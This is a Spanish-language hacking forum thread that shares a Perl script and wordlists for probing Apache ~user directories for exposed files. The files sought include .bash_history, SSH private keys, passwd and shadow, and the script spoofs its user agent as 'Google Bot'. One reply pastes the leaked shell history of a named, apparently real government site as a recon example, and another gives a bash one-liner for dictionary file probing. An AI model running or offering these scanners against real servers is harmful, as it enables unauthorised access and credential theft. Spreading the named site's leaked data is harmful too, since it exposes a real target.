[!] Apache Files Finder

Iniciado por Login-Root, 11 Octubre 2010, 01:58 AM

0 Miembros y 1 Visitante están viendo este tema.

Login-Root

Este script básicamente lo que realiza es buscar archivos/carpetas interesantes en las home`s de algun servidor que corra Apache (Y tenga la opción de acceso con ~, es decir, se permita acceder a http://www.website.com/~nombreusuario/). Para ello se necesitan de dos archivos de texto, el primero, con la lista de usuarios a probar (que podremos haber sacado por brute-force, mediante LFI, LOAD_FILE, etc.), y segundo, la lista con directorios a probar en cada uno de los home`s de cada usuario.

Ejemplos:


users.txt

root
ftp
mysql
bin
daemon
ibsoc
ifsca
aminen
dpisf
idsum
ieduc
ivivi
itcp
sergio
juan
backup
imosp
publish
gbrusa
igobi
iforo
ispyc
amoran
mysqldump
mesaadm
sinrespuesta
amgarcia
mcabrera
boletinoficial
dsum
improd
patricia
mauro
agostina
lucila
hyperic
nagios
clamav



dirs.txt

index.htm
index.html
index.php
.bash_history
.bashrc
.ftpquota
.gbent
.grc
.gui
.host
.hosts
.jpilot
.master
.members
.mysql_history
.net
.nsconfig
.pass
.passes
.pwd
.ssh/
.ssh/know_hosts
.ssh/id_rsa
.ssh/id_rsa.pub
.ssh/id_rsa.priv
.ssh/id_rsa.key
host
hosts
passwd
shadow



Funcionamiento:




Salida (results.html):



Code:

#!/usr/bin/perl
use HTTP::Request;
use LWP::UserAgent;

if(!$ARGV[3])
    {
        print "\n\n#####################################";
        print "\n# Apache Files Finder By Login-Root #";
        print "\n#####################################";
        print "\n\nUso: perl $0 [WEBSITE] [USERS LIST] [DIRECTORY LIST] [PATH TO SAVE (HTML)]";
        print "\nEx : perl $0 http://www.website.com users.txt dirs.txt results.html\n\n";
        exit(0);
    }

$ua = LWP::UserAgent->new;
$ua->agent("Google Bot");

($web, $users, $dirs, $save) = @ARGV;

if ( $web   !~   /^http:/ )
  {
      $web = "http://" . $web;
  }

open USERS, $users;
open SAVE, ">>$save";

print "\n[!] Scanning $web for files in users, saving in $save\n\n";

foreach $lista(<USERS>)
{
    chomp($lista);
    open DIRS, $dirs;
    foreach $dir(<DIRS>)
    {
        chomp($dir);
        $host = $web.`/~`.$lista.`/`.$dir;
        $req = HTTP::Request->new(GET => "$host");
        $res = $ua->request($req);
        $result = $res->code;
        if ($result != 404 and $result != 403)
        {
            print "\n".$res->status_line.": $host";
            print SAVE $res->status_line.` : <a href="`.$host.`" TARGET="_new">`.$host.`</a><br>`;
        }
    }
    close(DIRS);
}

print "\n";
close(USERS,SAVE);

__END__
8-Bit

tragantras

vamos  a ver, ningun administrador web en su sano juicio colocaría el directorio público de cada usuario en la raiz de su home, es decir, el mod_userdir permite que los usuarios tengan sus propias carpetas con sus documentos web, que por defecto, son accesibles en la carpeta /home/usuario/public_html.

Todos los archivos que has puesto ahi (excepto los tres primeros),

Citar
.bash_history
.bashrc
.ftpquota
.gbent
.grc
.gui
.host
.hosts
.jpilot
.master
.members
.mysql_history
.net
.nsconfig
.pass
.passes
.pwd
.ssh/
.ssh/know_hosts
.ssh/id_rsa
.ssh/id_rsa.pub
.ssh/id_rsa.priv
.ssh/id_rsa.key
host
hosts
passwd
shadow

están localizados en otras partes del sistema que no son la propia carpeta public_html.

Resumiendo, no me lo creo xD
Colaboraciones:
1 2

Login-Root

#2
Dependiendo de la configuración del Apache, acceden al public_html o no. Y creeme que he encontrado archivos interesantes de esta forma, hay muchos usuarios que montan webs vulnerables o depositan archivos importantes en su public_html, creyendo que nadie se los puede leer, y bueno despues son vulnerados.

Te dejo un ejemplo ;) (que hace .bash_history ahi si es el public_html ¿¿??):

http://sitl.diputados.gob.mx/.bash_history



Contenido:

pwd
ls -la
pwd
ls
cd recepcion_diputados
ls
cd cuestionario
exit
df -k
top
id
su
id
su
id
ls
clear
df -k
ls
cd /
ls
cd var/
ls
cd local/
ls
ls
find / -name htdocs
su
clear
ls
su
printenv
NLS_LANG=AMERICAN_AMERICA.WE8ISO8859P1
export NLS_LANG
printenv
su
exit
su
su
su
exit
date
date
su root
exit
pwd
cls
pwd
pass


(Lindo disclosure de comandos y directorios, genial para obtener información adicional)

;)
8-Bit

el-brujo

Relacionado:

Comprobar si un archivo en internet existe
http://foro.elhacker.net/programacion_visual_basic/comprobar_si_un_archivo_en_internet_existe_solucionado-t212199.0.html

Ver estructura web sin index.htm
http://foro.elhacker.net/dudas_generales/ver_estructura_web_sin_indexhtm-t292135.0.html

Directorios "ocultos" en una página web
http://foro.elhacker.net/seguridad/directorios_ocultos_en_una_pagina_web-t175416.0.html

A todos aquellos que buscan ficheros "ocultos" pero no protegidos, pueden pasar un diccionario para encontrar el fichero que andan buscando xD

6666

en bash by l0ve:

hay que tener instalado "Lynx"

for line in $(cat DICCIONARIO.txt); do echo "Probando $line"; lynx -mime_header http://HOST.COM/$line | grep "HTTP/1.1 200" ; done


tragantras

Cita de: Login-Root en 11 Octubre 2010, 18:26 PM
Dependiendo de la configuración del Apache, acceden al public_html o no. Y creeme que he encontrado archivos interesantes de esta forma, hay muchos usuarios que montan webs vulnerables o depositan archivos importantes en su public_html, creyendo que nadie se los puede leer, y bueno despues son vulnerados.


Madre mia... jajaja por defecto el directorio publico es public_html, hay que ser un ignorante de la vida para moverlo a root del usuario.... jajaja, weno pero parece ser que aún hay administradores ignorantes...

Un saludo, y muy buena app :)
Colaboraciones:
1 2